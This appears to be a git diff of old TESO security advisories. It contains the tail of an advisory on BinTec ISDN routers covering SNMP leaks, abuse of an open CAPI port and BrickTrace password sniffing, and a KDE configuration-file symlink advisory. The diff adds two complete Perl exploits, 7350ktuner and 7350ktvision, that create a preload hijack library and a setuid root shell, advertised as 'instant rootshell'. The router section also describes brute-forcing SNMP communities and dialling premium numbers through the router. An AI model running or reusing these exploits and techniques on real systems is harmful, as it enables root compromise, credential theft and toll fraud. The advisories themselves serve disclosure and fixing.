| 38 | |||
| 39 | |||
| 40 | (1) Example system setup for examples given | ||
| 41 | ___________________________________________________________________________ | ||
| 42 | |||
| 43 | |||
| 44 | admin Login Password/SNMP Community bitkoenig | ||
| 45 | read Login Password/SNMP Community rince | ||
| 46 | write Login Password/SNMP Community guenthi | ||
| 47 | |||
| 48 | defaults are: admin/bintec read/public and write/public | ||
| 49 | |||
| 50 | |||
| 51 | (2) Example of Read-Only SNMP output from a BinTec router | ||
| 52 | ___________________________________________________________________________ | ||
| 53 | |||
| 54 | |||
| 55 | syslog: | ||
| 56 | bitch:~$ snmpwalk fefe.rookie.lan rince .1.3.6.1.4.1.272.4.1.12.1 | ||
| 57 | [...] | ||
| 58 | enterprises.272.4.1.12.1.4.954440111.7.39 = "citykom-muenster: | ||
| 59 | local IP address is 195.202.40.124, remote is 195.202.32.121" | ||
| 60 | enterprises.272.4.1.12.1.4.954440116.7.40 = | ||
| 61 | "LOGOUT as admin from TELNET 192.168.0.100 at Thu Mar 30 18:15:16 2000" | ||
| 62 | enterprises.272.4.1.12.1.4.954440685.7.41 = | ||
| 63 | "LOGIN as admin from TELNET 192.168.0.100 at Thu Mar 30 18:24:45 2000" | ||
| 64 | enterprises.272.4.1.12.1.4.954440692.7.42 = | ||
| 65 | "citykom-muenster: outgoing connection closed, duration 583 sec, 18194 | ||
| 66 | bytes received, 4934 bytes sent, 6 charging units, 0 charging amounts" | ||
| 67 | enterprises.272.4.1.12.1.4.954440692.7.43 = | ||
| 68 | "ISDN: 30.03.2000,18:15:08,18:24:52,583,18596,5306,134,124,6 Units,O,, | ||
| 69 | 609910,7/0,0,0B,citykom-muenster" | ||
| 70 | [...] | ||
| 71 | |||
| 72 | capi-user-db: | ||
| 73 | bitch:~$ snmpwalk fefe.rookie.lan rince .1.3.6.1.4.1.272.4.7.8.1 | ||
| 74 | enterprises.272.4.7.8.1.1.7.100.101.102.97.117.108.116.0 = "default" | ||
| 75 | /* username */ | ||
| 76 | enterprises.272.4.7.8.1.2.7.100.101.102.97.117.108.116.0 = "" | ||
| 77 | /* password */ | ||
| 78 | enterprises.272.4.7.8.1.6.7.100.101.102.97.117.108.116.0 = 1 | ||
| 79 | /* capi access activated */ | ||
| 80 | |||
| 81 | |||
| 82 | (3) Remote CAPI Server on a BinTec router | ||
| 83 | ___________________________________________________________________________ | ||
| 84 | |||
| 85 | |||
| 86 | fefe:> ps -elf | ||
| 87 | [...] | ||
| 88 | S 0 26 1 28 0 Jan 1 ? 00:00 00:00 vcapid | ||
| 89 | [...] | ||
| 90 | |||
| 91 | Corresponding Port: | ||
| 92 | |||
| 93 | bitch:~# nmap -sS -O -p 6000 poor.brick.de | ||
| 94 | |||
| 95 | Starting nmap V.3.01beta by Fyodor (fyodor@dhp.com, www.insecure.org/nmap/) | ||
| 96 | Interesting ports on poor.brick.de (xxx.xxx.xxx.xxx): | ||
| 97 | Port State Protocol Service | ||
| 98 | 6000 open tcp X11 | ||
| 99 | |||
| 100 | TCP Sequence Prediction: Class=random positive increments | ||
| 101 | Difficulty=1894 (Medium) | ||
| 102 | |||
| 103 | Remote operating system guess: | ||
| 104 | Bintec Brick XS SW Release 4.9.1 ISDN access router | ||
| 105 | |||
| 106 | Nmap run completed -- 1 IP address (1 host up) scanned in 8 seconds | ||
| 107 | |||
| 108 | |||
| 109 | (4) BrickTrace Server on a BinTec router: | ||
| 110 | ___________________________________________________________________________ | ||
| 111 | |||
| 112 | |||
| 113 | fefe:> ps -elf | ||
| 114 | [...] | ||
| 115 | S 0 24 1 28 0 Jan 1 ? 00:04 00:01 traced | ||
| 116 | [...] | ||
| 117 | |||
| 118 | Corresponding Port: | ||
| 119 | |||
| 120 | bitch:~# nmap -sS -O -p 7000 poor.brick.de | ||
| 121 | |||
| 122 | Starting nmap V.3.01beta by Fyodor (fyodor@dhp.com, www.insecure.org/nmap/) | ||
| 123 | Interesting ports on poor.brick.de (xxx.xxx.xxx.xxx): | ||
| 124 | Port State Protocol Service | ||
| 125 | 6000 open tcp afs3-fileserver | ||
| 126 | |||
| 127 | TCP Sequence Prediction: Class=random positive increments | ||
| 128 | Difficulty=1894 (Medium) | ||
| 129 | |||
| 130 | Remote operating system guess: | ||
| 131 | Bintec Brick XS SW Release 4.9.1 ISDN access router | ||
| 132 | |||
| 133 | Nmap run completed -- 1 IP address (1 host up) scanned in 6 seconds | ||
| 134 | |||
| 135 | |||
| 136 | (5) BrickTracing a password from an outgoing PPP connection | ||
| 137 | ___________________________________________________________________________ | ||
| 138 | |||
| 139 | |||
| 140 | bitch:~$ bricktrace -h2pi 1 0 2 | ||
| 141 | bricktrace: Connected to 192.168.0.1(7000) | ||
| 142 | Tracing: Channel 1 Unit 0 Slot 2 /* Tracing the B-Channel */ | ||
| 143 | [...] | ||
| 144 | 020721.320 X DATA[0025] | ||
| 145 | 0000: ff 03 c0 23 01 01 00 15 08 73 68 6f 6c 74 77 69 ...#.....user | ||
| 146 | 0010: 73 07 72 65 74 68 6f 6f 6f .password | ||
| 147 | PPP packet protocol 0xc023 (PAP) | ||
| 148 | ID 1 PAP Authenticate-Request Peer-ID user Password password | ||
| 149 | A=FF UI | ||
| 150 | [...] | ||
| 151 | |||
| 152 | |||
| 153 | (6) Snooping an S0 Bus for telephone calls | ||
| 154 | ___________________________________________________________________________ | ||
| 155 | |||
| 156 | |||
| 157 | bitch:~$ bricktrace -h3 0 0 2 | ||
| 158 | bricktrace: Connected to 192.168.0.1(7000) | ||
| 159 | Tracing: Channel 0 Unit 0 Slot 2 /* Tracing the D-Channel */ | ||
| 160 | [...] | ||
| 161 | 021096.656 R DATA[0015] | ||
| 162 | 0000: 02 b3 10 1a 08 01 81 0d 18 01 89 1e 02 82 88 ............... | ||
| 163 | PD=08 Dest CR=01 SETUP ACKNOWLEDGE | ||
| 164 | IE-Element : Channel Identification : | ||
| 165 | Interface implicitly identified | ||
| 166 | Interface type S0 | ||
| 167 | Channelnumber is exclusive (accept only this) | ||
| 168 | Identified Channel is not D-Channel | ||
| 169 | Selected Channel : B1-Channel | ||
| 170 | IE-Element : Progress Indicator reports | ||
| 171 | In-band information now available | ||
| 172 | [...] | ||
| 173 | 021105.366 R DATA[0008] | ||
| 174 | 0000: 02 b3 12 2e 08 01 81 02 ........ | ||
| 175 | PD=08 Dest CR=01 CALL PROCEEDING | ||
| 176 | 021108.076 R DATA[0012] | ||
| 177 | 0000: 02 b3 14 2e 08 01 81 01 1e 02 82 88 ............ | ||
| 178 | PD=08 Dest CR=01 ALERT | ||
| 179 | IE-Element : Progress Indicator reports | ||
| 180 | In-band information now available | ||
| 181 | [...] | ||
| 182 | 021124.748 R DATA[0028] | ||
| 183 | 0000: 02 b3 16 2e 08 01 81 07 29 05 00 03 1e 12 23 4c ........).....#L | ||
| 184 | 0010: 0b 21 83 31 33 30 31 31 32 31 31 32 .!.130112112 | ||
| 185 | PD=08 Dest CR=01 CONNECT | ||
| 186 | IE-Element : Date yy.mm.dd-hh:mm : 0.3.30-18:35:134597435 | ||
| 187 | IE-Element : Unknown IE-Element 0x4c in Codeset 0 | ||
| 188 | [...] | ||
| 189 | 021130.282 R DATA[0045] | ||
| 190 | 0000: 02 b3 1a 32 08 01 81 4d 1c 16 91 a1 13 02 02 c4 ...2...M........ | ||
| 191 | 0010: 37 02 01 22 30 0a a1 05 30 03 02 01 00 82 01 01 7.."0...0....... | ||
| 192 | 0020: 28 0b 30 20 45 69 6e 68 65 69 74 65 6e (.0 Einheiten | ||
| 193 | PD=08 Dest CR=01 RELEASE | ||
| 194 | IE-Element : Facility | ||
| 195 | Service discriminator is supplement. application | ||
| 196 | Component tag is invoke | ||
| 197 | integer (0x2) | ||
| 198 | 50231 | ||
| 199 | integer (0x1) | ||
| 200 | 34 | ||
| 201 | sequence (0xa) | ||
| 202 | { | ||
| 203 | GetNextRequest (0x5) | ||
| 204 | { | ||
| 205 | sequence (0x3) | ||
| 206 | { | ||
| 207 | integer (0x1) | ||
| 208 | 0 | ||
| 209 | } | ||
| 210 | } | ||
| 211 | GetResponse (0x1) | ||
| 212 | |||
| 213 | } | ||
| 214 | |||
| 215 | |||
| 216 | IE-Element : Display : 0 Einheiten | ||
| 217 | [...] | ||
| 218 | |||
| 219 | |||
| 220 | (7) Checking line status from BinTec's httpd: | ||
| 221 | ___________________________________________________________________________ | ||
| 222 | |||
| 223 | |||
| 224 | [...] | ||
| 225 | Hardware Interfaces | ||
| 226 | |||
| 227 | Slot 1 Ethernet o.k. | ||
| 228 | Slot 2 ISDN S2M o.k. used 13, available 17 | ||
| 229 | - - X X X X X - X - | ||
| 230 | - - X - X - - X - - | ||
| 231 | X - - - X - - X - X | ||
| 232 | [...] | ||
| 233 | |||
| 234 | now we know what to sniff: | ||
| 235 | sniffing an inbound ppp connection on line 4 slot 2: | ||
| 236 | |||
| 237 | bitch:~$ bricktrace -h2pit 4 0 2 | ||
| 238 | bricktrace: Connected to aaa.bbb.ccc.ddd(7000) | ||
| 239 | Tracing: Channel 4 Unit 0 Slot 2 | ||
| 240 | [...] | ||
| 241 | 004419.999 X DATA[0045] | ||
| 242 | 0000: 21 45 00 00 2c 39 07 40 00 3e 06 f5 cc c2 61 44 !E..,9.@.>....aD | ||
| 243 | 0010: 0d c2 61 45 28 00 50 da 79 bc f8 a9 a7 02 2b c5 ..aE(.P.y.....+. | ||
| 244 | 0020: 7a 60 12 44 70 3c z.Dp< | ||
| 245 | Compressed PPP packet protocol 0x21 (TCP/IP) | ||
| 246 | A=21 RNR P/F=0 N(R)=2 | ||
| 247 | |||
| 248 | IP-Packet from aaa.bbb.ccc.ddd to a.b.c.d protocol 0x6 | ||
| 249 | TCP-Message, sourceport 80 destinationport 55929 | ||
| 250 | sequence number 3170412967 | ||
| 251 | acknowledgement number 36423034 | ||
| 252 | offset 6 flags ACK SYN | ||
| 253 | window 17520 checksum 0x3c9e urgent 0 | ||
| 254 | [...] | ||
| 255 | 004420.640 R DATA[0609] | ||
| 256 | 0000: 2d 70 0e b0 43 ff 47 45 54 20 68 74 74 70 3a 2f -p..C.GET http:/ | ||
| 257 | 0010: 2f 63 68 61 74 33 2e 70 6c 61 79 67 72 6f 75 6e /chat3.playgroun | ||
| 258 | 0020: 64 2e 64 65 2f 63 d.de/c | ||
| 259 | Compressed PPP packet protocol 0x2d (VJ Compressed TCP/IP) | ||
| 260 | A=2D I P/F=1 N(R)=3 N(S)=0 | ||
| 261 | 0E B0 C FF G E T h t t p : / / c h a t 3 | ||
| 262 | . p l a y g r o u n d . d e / c h a t | ||
| 263 | IP-Packet from a to b protocol 0x2f | ||
| 264 | [...] | ||
| 265 | |||
| 266 | |||
| 267 | Impact | ||
| 268 | =================== | ||
| 269 | |||
| 270 | |||
| 271 | (1) SNMP communities / login passwords | ||
| 272 | ___________________________________________________________________________ | ||
| 273 | |||
| 274 | By using standard brute-force methods, the SNMP community string, and | ||
| 275 | therefore the login's passwords can be obtained. A program doing this | ||
| 276 | is for example ADMsnmp, which has to be feeded by a wordlist. Bruteforcing | ||
| 277 | this way is quite effective, you get about 500-1000 words per minute. | ||
| 278 | (which of course depends on your and the routers connectivity) You can get | ||
| 279 | this program from [4]. Bruteforcing the passwords directly via telnet isn't | ||
| 280 | possible because the router slows down after approx. 6 tries. | ||
| 281 | |||
| 282 | |||
| 283 | (2) Using the CAPI facility | ||
| 284 | ___________________________________________________________________________ | ||
| 285 | |||
| 286 | Nearly any router can remotely be used as 'ISDN-Line provider' - you can | ||
| 287 | use the BRI-Lines of the router if they are not password protected. | ||
| 288 | While doing a short survey most machines we encountered were proven | ||
| 289 | to be vulnerable, so they didn't have any restrictions set. The CAPI | ||
| 290 | daemon listens on port 6000 as you can see in the 'Tests' section. | ||
| 291 | This feature can, for example be exploited by dialing expensive numbers | ||
| 292 | (0900 or 0190 [in DE] lines). You may also hide your real identity by | ||
| 293 | calling a 'call-by-call' ISP who gives you another IP you can deal with. | ||
| 294 | A (R)CAPI library for Un*x exists, which can be used for these attacks. | ||
| 295 | It is available via [5]. There is also a CAPI user interface for MS Windows, | ||
| 296 | which is called Brickware and can be obtained via [6]. | ||
| 297 | Firmware before 5.1.x seems to be generally not passworded, we have not | ||
| 298 | checked 5.1.x yet. | ||
| 299 | |||
| 300 | |||
| 301 | (3) Using BrickTrace for snooping BRI-Lines | ||
| 302 | ___________________________________________________________________________ | ||
| 303 | |||
| 304 | You can gain information of the ISP or corporation running these routers | ||
| 305 | with open BrickTrace ports (Port 7000, default) with a program called | ||
| 306 | bricktrace, which is available via [7]. In the documentation this | ||
| 307 | port isn't even stated (!). See 'Solution' for how to turn off this port. | ||
| 308 | As you can see the whole data passing the line, so you also get the users | ||
| 309 | passwords and see what they do in the net (it is in a way like a dedicated | ||
| 310 | sniffer). Using this technique of sniffing you may also see private | ||
| 311 | information of corporations, not only restricting you to Internet | ||
| 312 | traffic but also on 'intranet' lines that use the same router, as well | ||
| 313 | as telephony networks (S0 bus). | ||
| 314 | |||
| 315 | |||
| 316 | Explanation | ||
| 317 | =================== | ||
| 318 | |||
| 319 | BinTec Communications seems to rely on security by obscurity. Neither the | ||
| 320 | severity of these services, nor how to configure them are mentioned | ||
| 321 | properly in their documentation. | ||
| 322 | However, BinTec routers *can* be secured, it just seems not to be common | ||
| 323 | knowledge. | ||
| 324 | In addition to this, it seem to be quite useless to provide RCAPI | ||
| 325 | facilities on a router which is mainly used for dial-in purposes. If one | ||
| 326 | needs those abilities, encrypted management access would be appropriate. | ||
| 327 | |||
| 328 | |||
| 329 | Solution | ||
| 330 | =================== | ||
| 331 | |||
| 332 | SNMP: disable (admin.biboAdmSnmpPort=0) | ||
| 333 | (admin.biboAdmSnmpTrapPort=0) | ||
| 334 | |||
| 335 | RCAPI: disable or password protect | ||
| 336 | (admin.biboAdmCapiTcpPort=0) | ||
| 337 | |||
| 338 | BrickTrace: disable | ||
| 339 | (admin.biboAdmTraceTcpPort=0) | ||
| 340 | |||
| 341 | Just manage your Router through serial line, because if your connection | ||
| 342 | gets sniffed, these services can be reactivated. | ||
| 343 | |||
| 344 | |||
| 345 | Acknowledgments | ||
| 346 | ================ | ||
| 347 | |||
| 348 | The bug-discovery and the demonstration are due to Stephan Holtwisch [2] | ||
| 349 | This advisory has been written by Stephan 'rookie' Holtwisch and hendy. | ||
| 350 | |||
| 351 | |||
| 352 | Contact Information | ||
| 353 | =================== | ||
| 354 | |||
| 355 | The TESO crew can be reached by mailing to teso@coredump.cx. | ||
| 356 | Our web page is at [1]. | ||
| 357 | |||
| 358 | |||
| 359 | References | ||
| 360 | =================== | ||
| 361 | |||
| 362 | [1] TESO | ||
| 363 | http://teso.scene.at/ or https://teso.scene.at/ | ||
| 364 | |||
| 365 | [2] Stephan Holtwisch | ||
| 366 | sholtwis@muenster.de | ||
| 367 | |||
| 368 | [3] BinTec Communications | ||
| 369 | http://www.bintec.de | ||
| 370 | |||
| 371 | [4] ADMsnmp - bruteforce SNMP communities | ||
| 372 | ftp://adm.freelsd.net/pub/ADM/ADMsnmp.0.1.tgz | ||
| 373 | |||
| 374 | [5] libcapi for RCAPI (Unix) | ||
| 375 | ftp://ftp.bintec.de/pub/brick/libcapi/ | ||
| 376 | |||
| 377 | [6] BrickWare (CAPI software for windows) | ||
| 378 | ftp://ftp.bintec.de/pub/brick/brickware/ | ||
| 379 | |||
| 380 | [7] BrickTrace (BRI-Line snooping) | ||
| 381 | ftp://ftp.bintec.de/pub/brick/unixtool/ | ||
| 382 | |||
| 383 | |||
| 384 | Disclaimer | ||
| 385 | =================== | ||
| 386 | |||
| 387 | This advisory does not claim to be complete or to be usable for any | ||
| 388 | purpose. Especially information on the vulnerable systems may be | ||
| 389 | inaccurate or wrong. The supplied information is not to be used for | ||
| 390 | malicious purposes, but for educational purposes only. | ||
| 391 | |||
| 392 | This advisory is free for open distribution in unmodified form. | ||
| 393 | Articles that are based on information from this advisory should include | ||
| 394 | at least links [1] and [2]. | ||
| 395 | |||
| 396 | - ------ | ||
| 397 | |||
| 398 | -----BEGIN PGP SIGNATURE----- | ||
| 399 | Version: GnuPG v1.0.1 (GNU/Linux) | ||
| 400 | Comment: For info see http://www.gnupg.org | ||
| 401 | |||
| 402 | iD8DBQE45biacZZ+BjKdwjcRAlQaAJ9ozxk8JlFuEZSA0br4u+d3+CbfgACgjLHx | ||
| 403 | fDJT2mFXDx4xRzzE7Da7pD8= | ||
| 404 | =d2XM | ||
| 405 | -----END PGP SIGNATURE----- | ||
diff --git a/advisories/teso-advisory-010/7350ktuner b/advisories/teso-advisory-010/7350ktuner new file mode 100755 index 0000000..9bcb360 --- /dev/null +++ b/advisories/teso-advisory-010/7350ktuner | |||
| @@ -0,0 +1,86 @@ | |||
| 1 | #!/usr/bin/perl | ||
| 2 | |||
| 3 | # | ||
| 4 | # 7350ktuner! The ktuner-hack. | ||
| 5 | # (a.k.a. kil3r for some reason :) | ||
| 6 | # | ||
| 7 | # Just execute. Gives instant rootshell kiddie! | ||
| 8 | # If only ktuner is setuid-root and vulnerable as with | ||
| 9 | # SuSE 6.4! | ||
| 10 | # | ||
| 11 | # When has this stupid race an end? | ||
| 12 | # | ||
| 13 | # Bugdiscovery is due to Sebastian Krahmer. | ||
| 14 | # http://www.cs.uni-potsdam.de/homepages/students/linuxer | ||
| 15 | # | ||
| 16 | # | ||
| 17 | # Greets as always to TESO, security.is, lam3rz ... you all | ||
| 18 | # know who you are. | ||
| 19 | # | ||
| 20 | # | ||
| 21 | |||
| 22 | my $rcfile = $ENV{"HOME"}."/.kde/share/config/ktunerrc"; | ||
| 23 | |||
| 24 | $ENV{"PATH"}.=":/opt/kde/bin"; | ||
| 25 | |||
| 26 | print ">>Get a feeling on GUI's and how secure they are.<< Stealth.\n"; | ||
| 27 | |||
| 28 | print "Creating hijack-lib ...\n"; | ||
| 29 | open O, ">/tmp/boom.c" or die "open(boom.c..)"; | ||
| 30 | print O<<_EOF_; | ||
| 31 | #include <sys/types.h> | ||
| 32 | |||
| 33 | int time(void *v) | ||
| 34 | { | ||
| 35 | chown("/tmp/boomsh", 0, 0); | ||
| 36 | chmod("/tmp/boomsh", 06755); | ||
| 37 | unlink("/etc/ld.so.preload"); | ||
| 38 | exit(1); | ||
| 39 | } | ||
| 40 | _EOF_ | ||
| 41 | close O; | ||
| 42 | |||
| 43 | print "Compiling hijack-lib ...\n"; | ||
| 44 | `cc -c -fPIC /tmp/boom.c -o /tmp/boom.o`; | ||
| 45 | `cc -shared /tmp/boom.o -o /tmp/boom.so`; | ||
| 46 | |||
| 47 | open O, ">/tmp/boomsh.c" or die "open(boomsh.c ...)"; | ||
| 48 | print O<<_EOF2_; | ||
| 49 | #include <stdio.h> | ||
| 50 | int main() | ||
| 51 | { | ||
| 52 | char *a[] = {"/bin/sh", 0}; | ||
| 53 | setuid(0); setregid(0, 0); | ||
| 54 | execve(a[0], a, 0); | ||
| 55 | return 0; | ||
| 56 | } | ||
| 57 | _EOF2_ | ||
| 58 | close O; | ||
| 59 | |||
| 60 | print "Compile shell ...\n"; | ||
| 61 | `cc /tmp/boomsh.c -o /tmp/boomsh`; | ||
| 62 | |||
| 63 | umask 0; | ||
| 64 | |||
| 65 | unlink $rcfile; | ||
| 66 | symlink "/etc/ld.so.preload", $rcfile; | ||
| 67 | |||
| 68 | print "Invoking vulnerable program (ktuner)...\n"; | ||
| 69 | |||
| 70 | if (fork() == 0) { | ||
| 71 | `ktuner`; | ||
| 72 | exit 0; | ||
| 73 | } else { | ||
| 74 | sleep(3); | ||
| 75 | kill 9, `pidof ktuner`; | ||
| 76 | } | ||
| 77 | |||
| 78 | open O, ">/etc/ld.so.preload" or die "Huh? Can't open preload."; | ||
| 79 | print O "/tmp/boom.so"; | ||
| 80 | close O; | ||
| 81 | `/usr/bin/passwd`; | ||
| 82 | |||
| 83 | # let it look like if we have sth. to do. :) | ||
| 84 | sleep 3; | ||
| 85 | print "Welcome. But as always: BEHAVE!\n"; | ||
| 86 | system("/tmp/boomsh"); | ||
diff --git a/advisories/teso-advisory-010/7350ktvision b/advisories/teso-advisory-010/7350ktvision new file mode 100755 index 0000000..2f8dbbd --- /dev/null +++ b/advisories/teso-advisory-010/7350ktvision | |||
| @@ -0,0 +1,85 @@ | |||
| 1 | #!/usr/bin/perl | ||
| 2 | |||
| 3 | # | ||
| 4 | # 7350ktvision! The ktvision-hack. | ||
| 5 | # | ||
| 6 | # Just execute. Gives instant rootshell kiddie! | ||
| 7 | # If only ktvision is setuid-root and vulnerable as with | ||
| 8 | # SuSE 6.4! | ||
| 9 | # | ||
| 10 | # | ||
| 11 | # Bugdiscovery is due to Sebastian Krahmer. | ||
| 12 | # http://www.cs.uni-potsdam.de/homepages/students/linuxer | ||
| 13 | # | ||
| 14 | # Greets as always to TESO, security.is, lam3rz ... you all | ||
| 15 | # know who you are. | ||
| 16 | # | ||
| 17 | # Special greets to that beautiful black-dressed woman at | ||
| 18 | # the bus stop. This one is for you. :) | ||
| 19 | # | ||
| 20 | |||
| 21 | my $rcfile = $ENV{"HOME"}."/.kde/share/config/ktvisionrc"; | ||
| 22 | |||
| 23 | $ENV{"PATH"}.=":/opt/kde/bin"; | ||
| 24 | |||
| 25 | print ">>Get a feeling on GUI's and how secure they are.<< Stealth.\n"; | ||
| 26 | |||
| 27 | print "Creating hijack-lib ...\n"; | ||
| 28 | open O, ">/tmp/boom.c" or die "open(boom.c..)"; | ||
| 29 | print O<<_EOF_; | ||
| 30 | #include <sys/types.h> | ||
| 31 | |||
| 32 | int time(void *v) | ||
| 33 | { | ||
| 34 | chown("/tmp/boomsh", 0, 0); | ||
| 35 | chmod("/tmp/boomsh", 06755); | ||
| 36 | unlink("/etc/ld.so.preload"); | ||
| 37 | exit(1); | ||
| 38 | } | ||
| 39 | _EOF_ | ||
| 40 | close O; | ||
| 41 | |||
| 42 | print "Compiling hijack-lib ...\n"; | ||
| 43 | `cc -c -fPIC /tmp/boom.c -o /tmp/boom.o`; | ||
| 44 | `cc -shared /tmp/boom.o -o /tmp/boom.so`; | ||
| 45 | |||
| 46 | open O, ">/tmp/boomsh.c" or die "open(boomsh.c ...)"; | ||
| 47 | print O<<_EOF2_; | ||
| 48 | #include <stdio.h> | ||
| 49 | int main() | ||
| 50 | { | ||
| 51 | char *a[] = {"/bin/sh", 0}; | ||
| 52 | setuid(0); setregid(0, 0); | ||
| 53 | execve(a[0], a, 0); | ||
| 54 | return 0; | ||
| 55 | } | ||
| 56 | _EOF2_ | ||
| 57 | close O; | ||
| 58 | |||
| 59 | print "Compile shell ...\n"; | ||
| 60 | `cc /tmp/boomsh.c -o /tmp/boomsh`; | ||
| 61 | |||
| 62 | umask 0; | ||
| 63 | |||
| 64 | unlink $rcfile; | ||
| 65 | symlink "/etc/ld.so.preload", $rcfile; | ||
| 66 | |||
| 67 | print "Invoking vulnerable program (ktvision)...\n"; | ||
| 68 | |||
| 69 | if (fork() == 0) { | ||
| 70 | `ktvision`; | ||
| 71 | exit 0; | ||
| 72 | } else { | ||
| 73 | sleep(3); | ||
| 74 | kill 9, `pidof ktvision`; | ||
| 75 | } | ||
| 76 | |||
| 77 | open O, ">/etc/ld.so.preload" or die "Huh? Can't open preload."; | ||
| 78 | print O "/tmp/boom.so"; | ||
| 79 | close O; | ||
| 80 | `/usr/bin/passwd`; | ||
| 81 | |||
| 82 | # let it look like if we have sth. to do. :) | ||
| 83 | sleep 3; | ||
| 84 | print "Welcome. But as always: BEHAVE!\n"; | ||
| 85 | system("/tmp/boomsh"); | ||
diff --git a/advisories/teso-advisory-010/Makefile b/advisories/teso-advisory-010/Makefile new file mode 100644 index 0000000..bf3229f --- /dev/null +++ b/advisories/teso-advisory-010/Makefile | |||
| @@ -0,0 +1,3 @@ | |||
| 1 | all: | ||
| 2 | c++ a.out.cc -I/opt/kde/include -I/usr/lib/qt/include /opt/kde/lib/libkdecore.so -lqt | ||
| 3 | \ No newline at end of file | ||
diff --git a/advisories/teso-advisory-010/a.out.cc b/advisories/teso-advisory-010/a.out.cc new file mode 100644 index 0000000..a4a9b53 --- /dev/null +++ b/advisories/teso-advisory-010/a.out.cc | |||
| @@ -0,0 +1,14 @@ | |||
| 1 | #include <string.h> | ||
| 2 | #include <stdlib.h> | ||
| 3 | #include <stdio.h> | ||
| 4 | #include <kapp.h> | ||
| 5 | |||
| 6 | |||
| 7 | int main(int argc, char **argv) | ||
| 8 | { | ||
| 9 | KApplication *base = new KApplication(argc, argv); | ||
| 10 | |||
| 11 | base->exec(); | ||
| 12 | return 0; | ||
| 13 | } | ||
| 14 | |||
diff --git a/advisories/teso-advisory-010/kil3r b/advisories/teso-advisory-010/kil3r new file mode 120000 index 0000000..ce4e021 --- /dev/null +++ b/advisories/teso-advisory-010/kil3r | |||
| @@ -0,0 +1 @@ | |||
| 7350ktuner \ No newline at end of file | |||
diff --git a/advisories/teso-advisory-010/teso-advisory-010.txt b/advisories/teso-advisory-010/teso-advisory-010.txt new file mode 100644 index 0000000..46e3522 --- /dev/null +++ b/advisories/teso-advisory-010/teso-advisory-010.txt | |||
| @@ -0,0 +1,175 @@ | |||
| 1 | -----BEGIN PGP SIGNED MESSAGE----- | ||
| 2 | Hash: SHA1 | ||
| 3 | |||
| 4 | |||
| 5 | - ------ | ||
| 6 | |||
| 7 | TESO Security Advisory | ||
| 8 | 2000/05/29 | ||
| 9 | |||
| 10 | KDE KApplication {} configfile vulnerability | ||
| 11 | |||
| 12 | |||
| 13 | Summary | ||
| 14 | =================== | ||
| 15 | |||
| 16 | A bug within the KDE configuration-file management has been | ||
| 17 | discovered. | ||
| 18 | Due to insecure creation of configuration files via KApplication-class, | ||
| 19 | local lusers can create arbitrary files when running setuid root | ||
| 20 | KDE-programs. | ||
| 21 | This can result in a complete compromise of the system. | ||
| 22 | |||
| 23 | |||
| 24 | Systems Affected | ||
| 25 | =================== | ||
| 26 | |||
| 27 | The vulnerability is at least present within KDE 1.1.2. | ||
| 28 | All tests were performed on a SuSE 6.4 standard installation. | ||
| 29 | |||
| 30 | |||
| 31 | Tests | ||
| 32 | =================== | ||
| 33 | |||
| 34 | bash-2.03$ nl /tmp/a.out.cc | ||
| 35 | 1 #include <string.h> | ||
| 36 | 2 #include <stdlib.h> | ||
| 37 | 3 #include <stdio.h> | ||
| 38 | 4 #include <kapp.h> | ||
| 39 | |||
| 40 | |||
| 41 | 5 int main(int argc, char **argv) | ||
| 42 | 6 { | ||
| 43 | 7 KApplication *base = new KApplication(argc, argv); | ||
| 44 | |||
| 45 | 8 base->exec(); | ||
| 46 | 9 return 0; | ||
| 47 | 10 } | ||
| 48 | 11 | ||
| 49 | bash-2.03$ ls -la /etc/foo | ||
| 50 | ls: /etc/foo: No such file or directory | ||
| 51 | |||
| 52 | bash-2.04$ ln -s /etc/foo ~/.kde/share/config/a.outrc | ||
| 53 | bash-2.03$ ls -la /tmp/a.out | ||
| 54 | -rwsr-sr-x 1 root root 19450 May 28 14:14 /tmp/a.out | ||
| 55 | bash-2.03$ /tmp/a.out | ||
| 56 | ^C | ||
| 57 | |||
| 58 | bash-2.03$ ls -la /etc/foo | ||
| 59 | -rw-rw-rw- 1 stealth 500 0 May 28 14:26 /etc/foo | ||
| 60 | bash-2.03$ | ||
| 61 | |||
| 62 | (Output formatted to improve readability). | ||
| 63 | |||
| 64 | |||
| 65 | Impact | ||
| 66 | =================== | ||
| 67 | |||
| 68 | An attacker may gain local root-access to a system where vulnerable KDE | ||
| 69 | distributions are installed. | ||
| 70 | Due to the GUI-nature of KDE, it might become difficult for an attacker | ||
| 71 | to gain a root-shell on a remote system. However, the individual could | ||
| 72 | modify the DISPLAY environment variable to redirect the output to one | ||
| 73 | of his own machines. | ||
| 74 | A vulnerable system must have at least one setuser-id program | ||
| 75 | installed which utilizes the KApplication class. | ||
| 76 | Such programs include ktvision and ktuner, for an example. | ||
| 77 | |||
| 78 | |||
| 79 | Explanation | ||
| 80 | =================== | ||
| 81 | |||
| 82 | Obviously, KDE doesn't check for possible symlinks when creating | ||
| 83 | configuration-files. This may result in arbitrary file-creation or | ||
| 84 | chmod's of any file. | ||
| 85 | We assume the bug is within the KApplication::init() function: | ||
| 86 | |||
| 87 | ... | ||
| 88 | |||
| 89 | // now for the local app config file | ||
| 90 | QString aConfigName = KApplication::localkdedir(); | ||
| 91 | aConfigName += "/share/config/"; | ||
| 92 | aConfigName += aAppName; | ||
| 93 | aConfigName += "rc"; | ||
| 94 | |||
| 95 | QFile aConfigFile( aConfigName ); | ||
| 96 | ... | ||
| 97 | |||
| 98 | |||
| 99 | This instanciation probably creates the file. However we haven't checked | ||
| 100 | QFile {} further. | ||
| 101 | |||
| 102 | |||
| 103 | Solution | ||
| 104 | =================== | ||
| 105 | |||
| 106 | Neither run KDE applications setuid nor setgid. | ||
| 107 | The KDE developers have been informed. A patch should be made available | ||
| 108 | soon. Upgrade as promptly as possible. | ||
| 109 | |||
| 110 | |||
| 111 | Acknowledgments | ||
| 112 | ================ | ||
| 113 | |||
| 114 | The bug-discovery and the demonstration programs are due to | ||
| 115 | Sebastian "Stealth" Krahmer [1]. | ||
| 116 | Further checking on different distributions have been made | ||
| 117 | by Scut. | ||
| 118 | |||
| 119 | This advisory was written by Sebastian and Scut. | ||
| 120 | |||
| 121 | |||
| 122 | Contact Information | ||
| 123 | =================== | ||
| 124 | |||
| 125 | The TESO crew can be reached by mailing to teso@coredump.cx. | ||
| 126 | Our web page is at http://teso.scene.at/ | ||
| 127 | |||
| 128 | Stealth may be reached through [1]. | ||
| 129 | |||
| 130 | |||
| 131 | References | ||
| 132 | =================== | ||
| 133 | |||
| 134 | [1] http://www.cs.uni-potsdam.de/homepages/students/linuxer/ | ||
| 135 | |||
| 136 | [2] TESO | ||
